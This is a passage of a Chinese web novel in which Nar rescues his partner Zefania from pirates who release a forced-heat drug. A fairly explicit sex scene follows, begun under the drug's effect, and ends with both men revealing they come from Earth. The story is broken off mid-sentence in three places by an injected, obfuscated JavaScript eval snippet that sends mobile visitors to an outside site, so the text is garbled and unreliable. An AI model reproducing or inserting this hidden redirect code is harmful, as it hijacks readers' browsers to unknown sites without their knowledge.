此外,看过这么多小说后,纳尔也终于明白,那天清晨,当他无意识地问出“你好香,喷了香水吗”时,则法尼亚脸上那一闪而过的震惊与绯红,究竟意味着什么。 那根本不是香水。 那是则法尼亚的信息素。 这气味从无到有,日渐清晰……只意味着一件在虫族世界至关重要、且迫在眉睫的事: 他的雌君,快要进入发情期了。 这个认知让纳尔呼吸一窒,僵在床上。 到时候……他该怎么办? “雄主?雄主?” 则法尼亚注意到纳尔忽然僵坐在床上,神色恍惚,以为是自己方才的话说得太重,心头掠过一丝懊悔。 “怎么了?”纳尔被他唤回神,有些茫然地抬眼。 “您生气了吗?”则法尼亚试探着伸手,指尖轻轻触碰到纳尔缠着绷带的手腕。 “没有啊。”纳尔摇摇头,感受着对方微凉的指尖无意识地在绷带上摩挲。 他心里默默估算着时间,就算他体质再特殊,手上那些被反震出的裂口,也该愈合得差不多了。 一个念头升起,他顺势开口试探:“则法尼亚,我手上的绷带可以解开了吗?” 雌虫闻言,目光落在那双被包裹得严严实实的手上。他没有立刻回答,只是沉默地低下头,开始仔细地、一圈一圈地解开那些洁白的束缚。 几分钟后,最后一层布条滑落。则法尼亚将它们拢起,丢进一旁的垃圾桶。 纳尔的双手终于重见天日。因为长期不见阳光,皮肤呈现出一种近乎透明的苍白,手指修长匀称,骨节分明。 这双手,怎么看都无法与黝黑的铁锤联系到一起。 “好了,雄主。” 则法尼亚直起身,朝他欠了欠身,便转身向门外走去,临走前不忘将桌上那几本书一并带走,姿态干脆利落。 纳尔看着他消失在门外的背影,小声地叹了口气。 在床上规矩躺了不到五分钟,那股被强行压下的躁动,又涌了上来。 他再次翻身下床,开始了第二轮找书。 客厅、厨房、甚至堆满铁料的房间……他翻遍了每个角落,连工具箱底下都摸了一遍,却一无所获。那几本小说如同蒸发了一般。 最终,他的脚步停在了一扇门前。 这是走廊尽头一间始终上锁的房间,从他穿越过来那天起就未曾打开过。 此刻,纳尔静静站在门前,一种莫名的直觉在心底涌动。 里面似乎藏着什么,正在无声地牵引他。 门把手上缠绕的锁链积了厚厚一层灰,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132581|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然已很久未被触碰。 理智告诉他,这或许是原主不容窥探的秘密,他不该僭越。 但犹豫只在心中停留了片刻。 纳尔伸出手,握住了那把锈迹斑斑的老式铁锁。他没有去找那把不知道是否还存在的钥匙。 那太麻烦。 他五指缓缓收拢,指节微微发力。 只听轻微的一声脆响,那道锁链在他蛮横的握力下,应声而碎。 门,悄无声息地打开了一条缝隙,一股飘着陈年尘埃的气息,从门内散出。 纳尔走了进去。 房间里的布局与他现在的卧室惊人地相似,却空荡无虫。 纳尔几乎立刻断定,这是原身祖雄父,谢尔达阁下的旧居。 他走到书桌前。桌面上摊着几张空白信纸,已被尘埃覆盖。 纳尔拉开右手边的抽屉。 里面空空荡荡,唯有一本硬壳笔记本安静地躺在正中。 封面是褪色的深蓝,正中用烫金字体印着“日记”二字。而在这两个字的正下方,还留着另一行手写字体: to纳尔 纳尔呼吸一滞。 这是……谢尔达留给他的? 他取出笔记本,指腹拂过封面的灰尘,翻开了第一页。 “小纳,当你看到这些字时,我应该已经不在这个世界了。不必难过,这是我为自己选定的结局。接下来我要告诉你的,是我们菲利克斯家族血脉中流淌的、真正的秘密。” “看罢,请务必将它焚毁。” 一小时后。 纳尔合上了笔记本的最后一页。 他面色平静得近乎异常,只是指尖冰凉。 他依照日记最后的指示,拿着笔记本走出房间,来到铁炉旁。 炉火早已熄灭,他重新引燃。红色的火光跃起,映亮他没什么表情的脸。 他将那本深蓝色的册子,稳稳地放了进去。 火焰迅速将墨迹与过往一同吞没,最终化为一片片灰烬。 直到最后一点火星也彻底熄灭,纳尔仍站在原地,一动不动。 他瞳孔剧烈颤动着,久久未能平静。 “轰——!” 忽然,远处猛然传来爆炸巨响,纳尔浑身一震,迅速扑到窗边。 抬眼望去,东街那块已浓烟冲天,几架黑色飞艇正低空掠过,投下数枚炸弹。 纳尔心中一惊。 这场景他在小说里读到过。 是星盗袭击。 待看清爆炸传来的具体方向时,纳尔心脏骤停。 那里分明是则法尼亚所在的地区。 “糟了。” 纳尔转身冲下楼,心脏在胸腔里狂跳。 由于距离不算近,即使他跳上悬浮车将速度推到极限,可抵达时,眼前已是一片废墟。 街道两侧房屋坍塌大半,碎石下传来微弱的呻吟。 纳尔徒手翻开断裂的墙板,拖出几个被压住的年轻虫族。 其中一只浑身是血,颤抖着抓住纳尔的手臂,指向不远处一座半塌的剧院建筑。 “救……救我哥哥……” 他咳着血沫,断续说道:“成、成年雌虫……都被他们……抓进去了……” 纳尔迅速检查了他身上的伤,多处擦伤与骨折,但暂无生命危险。他利落地做了紧急包扎,朝对方点头。 “我知道了。” 语毕,他转身冲向那座剧院。 坍塌的建筑弥漫着尘土与血腥气。 纳尔才踏入几步,却忽然顿住。 一股极淡的、微甜而熟悉的气息,隐约飘动在浑浊的空气中。 是则法尼亚身上的香味。 11. 中药 纳尔继续向深处走去,空气中原本若有若无的属于则法尼亚的清甜气息彻底消散。取而代之的,是数种甜腻香气混杂在一起的味道。 而自从戴上那个黑色项圈后,则法尼亚身上就再未散发过那淡香。 因此,刚才那一闪而过的熟悉气味,让纳尔的心悬了起来。 周围一片漆黑,照明系统显然已在爆炸中损毁。纳尔屏息凝神,片刻后,双眼才从黑暗中辨出残墙断椅的轮廓。 突然,一声枪响从不远处炸开。 紧接着,几声短促的尖叫被掐断般戛然而止。 纳尔立刻朝声源方向潜行,大约五分钟后,前方隐约透出晃动的光亮。 而越靠近那光源,空气中那股甜腻得令虫作呕的香气便愈发浓重。 就在这时,一道熟悉的声音穿过混杂的空气,清晰传来。 “同为雌虫,你们竟帮着他们欺压自己的同类?” ——是则法尼亚。 纳尔精神一振,迅速隐入一道阴影中,循声望去。 不远处,破损的舞台被几盏应急灯照亮。 则法尼亚被数名全副武装的军雌围在中央,周围倒着许多雌虫,鲜血满地。隐隐约约间,纳尔又闻见了属于则法尼亚身上的香气。 “这是公爵的指令。”为首的军雌语气平淡,“若你们早些交出那位雄虫阁下,这一切本不必发生。” “呵。”则法尼亚嗤笑一声,眼中毫无温度,“这话你自己信么?” 他顿了顿,“更何况——难道你们都忘了,这星球上所有的雄虫,早已被阿莱文西驱逐殆尽了吗?” “不必多言!我们此行,不止要找到他,还要……” “够了!” 话未说完,便被另一道声音喝止。 一只身形高大的军雌迈步上前,盯住则法尼亚,眼中闪过审视:“真没想到,这种偏远星球上竟有精神力如此之高的雌虫。不过遇上我们……” “废话少说。”则法尼亚手腕一转,剑身泛起寒光,“放他们离开。” 话音未落,他身形已动,如一道银光向前冲去。 可就在此时,那只军雌猛地按下了手中的控制器。 “砰——” 一团浓稠的粉色烟雾瞬间在空气中炸开。 则法尼亚虽立即后撤掩住口鼻,却仍吸入少许。一股甜腻到令虫作呕的香气蛮横地钻入鼻腔,迅速渗透四肢百骸。 他的动作陡然僵住。 这是……A型诱导发情剂! 则法尼亚瞳孔骤缩,猛地又退开几步。视线转而落在地上那些晕倒的雌虫身上。尽管他们早已失去了意识,但这药物并未就此放过他们,逼迫着这具躯体不受控地溢出破碎的呻.吟。 他猜的果然没错,那就是帝国明令禁止的违禁药品。 这种试剂不仅会强制诱发雌虫发.情,更会引发对信息素的病态渴求,若无雄虫信息素安抚,将加速雌虫僵化。 两年前,这项药剂已被明令禁用。 他们怎会拥有?又为何在此使用? 在这被雄虫遗弃的星球上释放它,他们这是要让他们所有雌虫死! 在这试剂的影响下,即便强如则法尼亚,身体也开始违背意志。 一股陌生的燥热自身体深处蔓延,双腿发软,持剑的手微微颤抖,脸颊不受控制地泛起潮.红。 他咬紧牙关,将剑尖重重抵在地面,借以支撑摇摇欲坠的身体。 “糟了……” 意识模糊间,那个棕发少年温和的脸庞,竟无比清晰地浮现于脑海。 原来……无论变得多强,这具身体依然被本能奴役。 真是可悲。 “雌虫,”一道苍老的声音忽然自阴影中传来,带着毫不掩饰的鄙夷。 “果然是一群离了雄虫就活不了的贱种。” 一个身材矮小、面容枯槁的老雄虫,在军雌的簇拥下缓缓走出。他浑浊的目光如黏腻的触手,在则法尼亚身上来回舔舐,似是感慨道: “不过你,倒算是经受住了我的考验。” “马力娜拉阁下。”军雌们立即垂首行礼。 老雄虫并未理会,嘴角咧开一个令虫不适的弧度,径直走向则法尼亚。 “挑几个模样好的留下,”他侧头吩咐,“其余的,处理干净。” “是!” 枯瘦如爪的手伸向则法尼亚的脸颊。 则法尼亚想躲,身体却沉重得不听使唤,只能眼睁睁看着那肮脏的手指逼近。 “别碰我!” 他从齿缝间挤出声音,带着难以自控的颤抖。 马力娜拉低低一笑,指尖几乎要触碰到那泛红的皮肤: “话说,你长得可真像小九……” 话音未落—— 砰! 一声闷响,老雄虫的手被一股强劲的力量弹开,一道极快的身影倏然切入他与则法尼亚之间。 微风掠过,带起则法尼亚额前的碎发。 下一秒,他失衡的身体并未跌倒在冰冷的地面,而是落入了一个温暖的怀抱。 一股清新的,如同花茶般的淡香,驱散了周遭令虫作呕的甜腻。 则法尼亚涣散的瞳孔微微聚焦,映入眼帘的,是纳尔线条清晰的下颌。 雄虫稳稳地接住了他,手臂有力地环住白发雌虫的肩背,将他整个虫抱起,往后退开几步。 他缓缓抬起眼,目光平静地扫过眼前的军雌。最后,定格在脸色骤变的老雄虫马力娜拉脸上。 “雄虫?” 纳尔的出现,让现场的空气凝固了几秒。 他本打算先带则法尼亚撤离,再设法解救被困的雌虫,可怀中躯体传来的异常高热和急促颤抖,让他瞬间改变了主意。 则法尼亚的状态显然极糟。白皙的皮肤泛着不自然的潮红,呼吸又急又浅,原本清冷的蓝眸此刻蒙着一层水光,正死死地凝视着他。 “则法尼亚,你……”纳尔话未说完,衣领被猛地揪住。 一股力量将他向下拉去。 则法尼亚的脸庞倏然逼近,滚烫的呼吸几乎喷洒在他唇上。那双眼睛亮得惊人,却又混乱失焦,仿佛正被某种无形的火焰焚烧。 “雄主……雄主……” 则法尼亚声音低哑,带着破碎的渴求,一遍遍唤着他。 他从没见过这样的则法尼亚,褪去了所有冷静与自持,像即将溺毙之虫抓住了唯一的浮木。 下一秒,则法尼亚灼热的掌心捧住了他的脸。 “吻我。” 这两个字裹挟着炽热的气息,紧接着,柔软的、同样滚烫的唇瓣便压了下来,精准地捕获了纳尔的嘴唇。 纳尔浑身一僵,眼睛蓦然睁大。 他甚至没来得及反应,湿润的舌尖已撬开他的齿关,带着生涩却急切的探寻,长驱直入。 那是一个毫无章法、充满掠夺意味的吻,用力吮吸、纠缠,仿佛要将他肺里的空气都一并夺走。 纳尔僵在原地,大脑一片空白,只能被动地承受着这突如其来的亲密。感官被则法尼亚身上异常的甜香与热度完全笼罩。 对面的军雌们显然也愣住了,一时间竟无虫动作。 寂静的废墟中,只有唇齿交缠的细微水声,和则法尼亚压抑不住的紊乱喘.息。 唯有老雄虫马力娜拉浑浊的眼睛死死盯着纳尔。 透过则法尼亚手臂与发丝的间隙,他看到了那张脸和那头顶的棕色短发,还有一双即使在昏暗光线下也异常清晰的紫色眼瞳。 那颜色,那种轮廓…… 电光石火间,一个名字伴随着尘封的回忆,疯狂撞入他的脑海。 谢尔达。 他竟然……真的在这颗被遗弃的星球上留下了血脉。 “抓住他们——!” 马力娜拉枯瘦的手指直指相拥的二虫,眼中满含贪婪与狠戾的光芒。 “立刻!要活的,尤其是那个雄虫!” “唔……” 纳尔眼角余光瞥见军雌们正从两侧包抄而来,他试图带着则法尼亚后撤。 可怀中的雌虫却像是彻底失了控,滚烫的唇瓣仍固执地贴着他辗转吮吻,力道大得像是要将他拆吞入腹。纳尔感觉空气都被掠夺殆尽,呼吸变得支离破碎。 “则法尼亚……等一下……”他偏过头,勉强寻到一丝间隙,双手用力抵住对方滚烫的肩头,试图将他推开些许距离。 “不……不要。”则法尼亚喘息着,手臂如藤蔓般紧紧缠上他的脖颈,发烫的脸颊难耐地蹭着他颈侧的皮肤,“热……好热……” 纳尔还未来得及反应,颈后骤然传来一阵尖锐的刺痛—— 则法尼亚竟张口咬了下去! “则法尼亚?”纳尔倒吸一口凉气。 话音未落,他忽然察觉到周遭气氛的异样。那些原本杀气腾腾逼近的军雌,动作不知何时变得迟滞踉跄。 他们脸上同样爬满了不正常的潮.红,眼神涣散,粗重的喘.息声在死寂的空间里此起彼伏。 “你们怎么回事?”马力娜拉惊怒交加地吼道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132582|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“阁、阁下……”一名军雌勉强撑住墙壁,声音抖得不成样子,“那试剂……药效太强了……” 他们也中招了。 强制发.情的浪潮,正毫不留情地席卷吞噬他们仅存的理智。 “废物!不是让你们提前注射抗体了吗!”马力娜拉气得发抖。 军雌们已无法回答。焚身的渴望烧尽了思考能力,空气中稀薄的、属于雄虫的气息成了唯一的指向标。 他们如同濒死的兽,喘息着,挣扎着,本能地朝着场内仅有的两个雄虫——纳尔和马力娜拉,缓慢而执拗地挪动。 “滚开!别靠近我!”马力娜拉脸上第一次露出惊恐。他素来只偏爱柔弱顺从的亚雌,对这些体魄强健、此刻更显危险的军雌厌恶至极。 惊惧之下,他猛地释放出精神力,化为无形的鞭子狠狠抽打在最近的军雌身上! “啊——!”凄厉的惨叫在废墟中回荡。 而纳尔这边,情况同样危急。不仅那些尚有行动力的军雌在靠近,连原本重伤倒地的雌虫,也被本能驱使着,用残破的身体一点点向他所在的方向蠕动爬行。 无数双被欲.望烧红的眼睛死死锁定了他。 纳尔心脏狂跳,下意识地搂紧则法尼亚,仓皇后退了几步。 “雄……主……” 就在这时,一道微弱却清晰许多的声音传入耳中。 纳尔低头,对上则法尼亚抬起的眼眸。他脸上的红潮似乎褪去了一些,眼底虽仍浸满水光,却勉强找回了一丝焦距。 “则法尼亚,你感觉怎么样?”纳尔急切地问。 “很……不好。”则法尼亚急促地喘息,每一个字都像是从牙缝里挤出来的,“只能……清醒一小会儿。” 他用力攥住纳尔胸前的衣料,指节泛白:“我需要……您的信息素。” 不等纳尔回应,则法尼亚猛地闭上眼,额角青筋浮现。一股强大而精准的精神力如无形的波纹骤然荡开,横扫全场! 那些正被情潮折磨的军雌们身体同时一僵,随即如同断了线的木偶,悄无声息地软倒在地,陷入深度昏迷。 则法尼亚在彻底失去意识的边缘,强行用精神力将他们晕了过去。 “带我……走……”他耗尽最后的气力吐出这三个字,话音未落,意识便再次被翻涌的燥热吞没。 “好。”纳尔毫不犹豫,将他打横抱起,转身就朝出口冲去。 “不许走——!”马力娜拉气急败坏的尖叫声在身后穷追不舍。 纳尔头也不回,抱着怀里滚烫的身躯疾行。 则法尼亚无意识地紧搂着他的脖子,滚烫的唇瓣不断落在他脸颊、下颌,最后又寻到他的嘴唇,笨拙而急切地啃吻着。 那股清冽的香气此刻浓烈得惊虫,丝丝缕缕缠绕着纳尔,竟让他也觉得口干舌燥,一阵陌生的热意自小.腹升起。 就在他冲出剧院破损大门的瞬间,刺目的天光倾泻而下。与此同时,一阵密集而整齐的脚步声由远及近传来。 纳尔眯起眼,只见一队全副武装的军雌正快速朝剧院合围而来。 他认出了他们——正是之前处理阿莱文西事件的那批军雌。 那位……九殿下的直属部下。 应该,可以相信。 与此同时,为首的高大军雌——路法索,目光快速扫过现场,瞬间落在纳尔和他怀中状态明显异常的则法尼亚身上。 他脸色微变,快步上前,急忙问道:“阁下,发生什么事了?” 纳尔一时不知从何解释,只能言简意赅:“剧院里还有很多昏迷的军雌,都……处于强制发.情状态。你们进去时,务必小心。” 路法索瞬间了然,目光复杂地迅速瞥了一眼纳尔怀中正无意识蹭着他颈窝、面色潮红的则法尼亚,心中对“九殿下”此刻的状况已明白了七八分。 他当即侧身让开道路,语气郑重而隐含催促:“明白了。阁下,请您先行一步,务必……妥善处理。” 纳尔听懂了他未尽的暗示,耳根微热,点了点头,不再多言,抱紧则法尼亚转身迅速离去。 一名年轻的小军雌望着他们匆匆远去的背影,又回味着路法索长官那句话,实在按捺不住好奇,凑近小声问道:“长官,他们这是要去……做什么啊?” 路法索收回目光,面无表情地瞥了这不知轻重的新兵一眼,从牙缝里挤出几个字: “信息素疏导。” 小军雌先是一愣,随即猛地反应过来,脸“唰”地红了个透,再不敢多问,慌忙跟着队伍冲进了剧院废墟。 12. 解药 则法尼亚这次的发.情,来得格外汹涌。 只因他本就临近发.情期,而过去整整二十年,他从未真正接触过活生生的雄虫信息素。 每一次,都是依靠皇室特供的仿造信息素,辅以抑制环,将那与生俱来的本能强行禁锢在深处。 长期的封锁与隔绝,使得这股力量一旦被外力强制引爆,后果绝非简单的失控,而是连他自己都难以估量的、彻底的崩解。 纳尔抱着他,仅仅艰难地挪动了十几步,便已寸步难行。 怀中的躯体滚烫得像要融化,则法尼亚的手臂如同烙铁般紧紧箍着他的脖颈,滚烫的唇瓣急切地在他脸颊、下颌、唇边留下湿漉漉的印记。 那不再是亲吻,更像是一种源自本能的汲取,他渴望和他交换呼吸。 雄虫清冽的淡香被淹没在对方浓郁甜腻的气息里,纳尔几乎要被这炽热的浪潮溺毙。 “等、等一下……则法尼亚,唔——!” 纳尔试图偏头避开,话语刚挤出一半,便被更凶猛的攻击堵了回去。 湿软滚烫的舌尖带着无法抗拒的力道撬开他的齿关,长驱直.入,笨拙却急切地纠缠着对方,那热度几乎要将口腔灼烧。 纳尔心脏狂跳,用尽力气才捧住则法尼亚滚烫的脸颊,将彼此拉开一丝喘息的距离。 银白的发丝被汗水浸透,凌乱地黏在绯红的额角与颈侧,那双总是含笑的蓝眸此刻涣散着,蒙着厚重的水雾,只倒映出纳尔脸颊的轮廓。 里面翻涌着的,是几乎要将彼此都焚烧殆尽的渴望。 “则法尼亚,”纳尔抵着他的额头,自己的呼吸也彻底乱了,却强撑着最后的理智,声音发紧,“告诉我……我该怎么做?怎么才能帮你?” “给……我……”灼热的气息喷在纳尔唇边,带着濒死般的祈求,“信息素……雄主……你的信息素……” 信息素。 纳尔心头一颤,手上动作猛地停了下来。 他记得,系统告知他的人设里,他是信息素为零的雄虫。 怎么办? 一股冰冷的恐慌猛地攥紧了他的心脏。他之前所有的镇定,都建立在“自己是雄虫”这个或许能解决问题的模糊认知上。 可现在,这个认知被现实击得粉碎。 他看着则法尼亚因得不到丝毫回应而更加痛苦地蹙紧眉头,身体不受控制地颤抖,自己这具所谓的“雄虫”身体,此刻却给不出对方最需要的东西。 那他作为则法尼亚雄主存在的意义是什么?难道只能眼睁睁看着则法尼亚被本能吞噬? “我……”纳尔喉结滚动,声音滞涩,“我不会……” 他无法解释“没有”,只能吐出这苍白无力的三个字。 则法尼亚闻言,迷蒙的眼底似乎闪过一丝极短暂的茫然,他似乎在努力理解这句话的含义。 “雄主。” 他沙哑地低喃,滚烫的手摸索着握住了纳尔的手腕,牵引着那只手,贴向自己剧烈起伏的、隔着衣料都能感受到热度的胸口,“我教你……” 这个念头升起得荒谬。 在几乎丧失理智的状态下,他竟然还要分神去教导自己的雄主如何释放信息素? 这难道不是雄虫与生俱来的本能吗? 对了…… 则法尼亚猛然忆起,初次见面时,在那只小雄虫身上,根本检测不出任何信息素。 他或许不是不会,而是……不能主动释放。 这个认知让则法尼亚濒临瓦解的意识感到愈发绝望。 难道……他只能那样做了吗? 皇室冰冷的教育、二十年恪守的尊严、以及对这具身体欲望本能深入骨髓的抗拒…… 一切的一切都开始崩塌。 他知道,即便是等级最低的雄虫,体内也必然存在着一种东西,蕴含着信息素。 那是最后的选择,也是最不堪的、将自我完全交付于本能的堕落。 但—— 蓝色的眼眸在情.潮的漩涡中,死死锁定了纳尔慌乱的脸。 比起毫无价值地死在这里,或者沦为被欲.望操控的怪物,他宁愿赌上一切,抓住眼前这个唯一的…… 他愿意的变数。 纳尔看着怀中的雌虫,发现他眼中翻涌的情.欲里,忽然掺杂进了一种极复杂的情绪——是迷茫,是挣扎,是痛苦,最后凝聚成了一道决绝的目光。 那目光死死锁定了自己。 “则法尼亚?”纳尔心头莫名一紧。 他的话再次被炙热的吻封缄。 这一次的吻格外短暂,却带着一种破釜沉舟般的意味。 分开时,则法尼亚抵着他的唇,滚烫的泪水混着汗水滑落,声音字字清晰地敲打在纳尔心上: “给我……您的*液。” “雄主。” …… 二虫几乎是踉跄着摔进悬浮车的后座。 纳尔后背刚触及冰凉的靠椅,甚至没来得及调整姿势,身上便是一沉,则法尼亚已夸坐上来,将他牢牢压制。 银白的发丝垂落,扫过纳尔的脸颊,带着滚烫的体温和甜腻的气息。 “等一下!”纳尔慌忙抬手,想要阻止对方急切解他腰带的手指。 然而,他的手腕刚抬起,便被一股无形的力量猛然扣住。强横的精神力化为柔软的束缚,将他的双手牢牢固定在头顶上方,动弹不得。 “则法尼亚?”纳尔挣了挣,却发现那束缚坚韧无比。 下身传来衣料摩擦的窸窣声,随即一凉。 “等等!则法尼亚,不要直接坐——”纳尔急道,试图提醒显然已丧失大部分理智的雌虫。 “嗯!” 回应他的,是则法尼亚一声短促而痛苦的闷哼。 他显然没有听从劝告。 剧烈的挤压感惹得纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132583|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔也忍不住溢出一声低.喘。 “则法尼亚。”纳尔抬起头,望进身上那虫水光潋滟的紫眸。 雌虫脸上红晕未退,长睫被汗水濡湿,胸腔起伏着,整个虫如同风雨中摇曳的白色花朵。 纳尔心下一软,放柔了声音,带着安抚的意味轻声道:“则法尼亚,你好一点了吗?我们……慢一点好吗?” 这本是怜惜的劝慰,然而身上那意识迷乱的白发雌虫却仿佛听出了别的意味。 他迷蒙的眼眸微微弯起,唇瓣勾起一抹极浅、却带着蛊惑力的弧度。 他俯下.身,灼热的呼吸喷洒在纳尔耳畔,声音黏腻: “原来雄主喜欢慢的。” 则法尼亚带着泪意的眼中闪过一丝迷离笑意,舌尖舔过纳尔滚动的喉结。 “动一动,雄主。” * 当纳尔恢复意识时,时间已经不知道过去了多久。 他是被悬浮车外隐约的交谈声唤醒的。眼帘沉重地掀开,模糊的视线里,是车内熟悉的穹顶。 他循着声音,微微侧头望向车窗外。 几道身着军装的身影静立在不远处,正是以路法索为首的那队军雌。不知为何,纳尔总觉得他们已经在此等候多时。 纳尔大脑还有些昏沉,正准备撑着坐起身,动作却猛地一顿。 好沉? 一道温热的、沉甸甸的重量正安然地压伏在他的身上。 他垂下目光。 则法尼亚正侧趴在他身上,手臂松松地环着他的腰,脸颊贴着他的颈窝。 那双总是含着笑意的蓝色眼眸,此刻正一眨不眨地凝视着他,眼底闪烁着一种餍足的微光。 纳尔的脸不动声色地红了一片,昨晚那些混乱的、汗水交织的记忆碎片不受控制地翻涌上来,烧得他耳根发烫。 他下意识地挪开视线,喉结滚动了一下,声音带着几分不易察觉的窘迫: “则法尼亚,你……感觉好点了吗?” “嗯。”雌虫应了一声,声音比他的还要低哑几分,却透着一股松驰的慵懒。 则法尼亚并未挪动,依旧保持着那样亲昵的、几乎全然依赖的姿势。 但纳尔没有看到,则法尼亚那双凝视着他的蓝眸深处,慵懒之下,是让人心惊的清醒。 昨晚的失控是真实的,此刻的依赖却未必全是。 某些在情.热混乱中无法深想的细节——雄虫生涩至极的反应、那些关于“常识”的错漏、以及最重要的,那具身体对信息素近乎隔绝的状态,在理智回笼的此刻,正一块块拼合成一个惊人的图案。 需要一个确认。 就在此刻。 在身体最亲近、心灵防备最弱的此刻。 当纳尔还沉浸在那片温情的余热中,却忽然听见那沙哑的声音再次响起: “雄主。” “您是不是来自别的世界?” 13. 同舟 纳尔脸上的表情骤然凝固,呼吸一顿。 他垂下眼睫,借着这个动作掩饰瞳孔的震颤。颈侧传来雌虫平稳的呼吸,温暖,却让他脊背发寒。 冷静。必须冷静。 再抬眼时,纳尔已调整好表情,眉头微蹙,担忧与困惑恰到好处地混合。 他抬手,指尖轻轻拂开则法尼亚额前汗湿的银发,触感依旧滚烫。 纳尔直视着那双近在咫尺的蓝眸,试图从那片蓝色中寻找出真实的意图。 是试探,还是他当真发现了什么? 棕发雄虫的喉结微微滚动,唇瓣轻颤,却发不出任何声音。所有言语都卡在喉咙深处,化作一片无声的空白。 就在这时,则法尼亚的手抬了起来,银白长发随着动作从肩头滑落。 他的指尖先轻轻抵在纳尔唇上,似触非触地擦过,随即下移,稳稳落在对方颈侧跳动的脉搏之上。 “雄主,其实……” 则法尼亚的声音压得很低,像是一阵轻飘飘的风,却莫名给人一种破釜沉舟的错觉。 “我来自地球。” 话落,纳尔的眼睛骤然睁大。 颈间温热的触感,连同那句突如其来的“真相”,将纳尔维持至今的所有镇定彻底刺穿。 无数碎片在脑海中轰然炸开,陌生世界、系统的出现、早已不再回望的故乡、一年前逝去的唯一牵挂……漫长的漂泊岁月教会他如何在他乡迅速安顿,却从未真正给予他“归属”。 他以为自己是这无边孤寂里唯一的异客。 可他从未想过—— 竟会在这里,在这样的时刻,从另一“人”口中,听见那片早已沉入记忆深处的、独属于故乡的回响。 胸腔里某种沉睡了太久的东西被粗暴地唤醒,猛烈冲撞,却一时找不到出口,也辨不清形状。 是惊骇?是狂喜?还是更深、更本能的恐惧? 纳尔张了张嘴,仍是无言。 则法尼亚的拇指若有若无地摩挲着他跳动的颈脉,指尖偶尔施力,目光在纳尔的面庞与脖颈间缓缓游移,仿佛在细致辨认着某种痕迹。 他声音更轻,却带着某种难以言喻、近乎孤注一掷的期待: “所以——你也是吗,雄主?” 纳尔一生在蹉跎中学会的,便是感知危险。 此刻,颈间脉搏上那只手的温度,与眼前蓝眸深处翻涌的偏执交织在一起,形成了一种清晰的可能性—— 若他此刻吐出一个“不”字,眼前这看似平静的雌虫,恐怕会立刻做出某些无可挽回的行为。 空气凝成了冰冷的实体,沉甸甸地压在两人的呼吸之间。 纳尔那双沉静的紫色眼眸,一瞬不瞬地回望着则法尼亚冰蓝的瞳孔。 时间在无声的对峙中缓慢流逝,久到则法尼亚眼底那脆弱的期望开始龟裂,透出焦躁的火焰,紧扣的手指也无意识地收紧,带来轻微的窒息感。 则法尼亚望进那双平静的眼眸,第一次感受到了那种近乎煎熬,进退两难的苦痛。 如果……纳尔并非他所猜测的那样,并非来自同一个遥远的故乡呢? 如今,他将自己最深、最不容于世的秘密毫无保留地摊在对方面前。 若答案是否定的,他还能允许这个知晓了一切的“异类”继续安然留在自己身边,甚至留在自己枕畔吗? 理智在叫嚣着潜在的威胁,冰冷的防备本能几乎要将他淹没。 可是…… 则法尼亚的心口传来一阵细微却清晰的钝痛。他扪心自问:真的……舍得吗? 万千思绪在脑中激烈冲撞,最终,他如同耗尽了所有气力,艰难地垂下眼帘,他的声音低哑下去,带着一种力竭的恳求: “雄主,给我一个答案,好吗?” 那双漂亮的冰蓝色眼眸,此刻在纳尔的注视下,光芒正在一点点黯淡下去。 某种情绪压过了纳尔心里的顾虑。 刹那间,不属于这个世界的过往碎片汹涌而至。 是无数张模糊的、来了又走的面孔;是不同屋檐下小心翼翼维持的平静;是深夜里独自舔舐背叛伤口时的疼痛……十几年颠沛流离,早已将他锻造成一个熟练的“适应者”。 他擅长将过去打包封存,披上全新的身份外壳,在不同的世界裂缝间沉默行走。 真实的自我、来处的印记,被他深深埋藏,从不示人。 因为信任的代价,他早已付过,太痛了。 所以,当则法尼亚问出那个触及他过往的问题时,他本能地僵住了。 他不知道该如何回应。他惧怕欺骗带来的一切后果,更恐惧将自己最真实的过去揭开后,面对的会是又一次的背弃与伤害。 可是……看着眼前这双眼睛里的光芒即将彻底消散,感受着对方指尖残留的、带着绝望的温度,他坚固的心防,再次动摇了。 是因为那过往的亲密的回忆?是漫长孤独后,对“同类”二字无法抑制的本能悸动? 或许二者兼有。 终于,他深思熟虑过后,迎着则法尼亚即将熄灭又即将燃烧的眼神,无比清晰地,点了一下头。 “嗯。” 一个简单的音节,却像投入绝对寂静深潭的石子,在则法尼亚的世界里激起了湮灭一切的滔天巨浪。 他猛地睁大了眼睛,冰蓝色的眸子里,所有翻涌的情绪——期待、紧张、孤注一掷都在瞬间凝固,随即化为一种 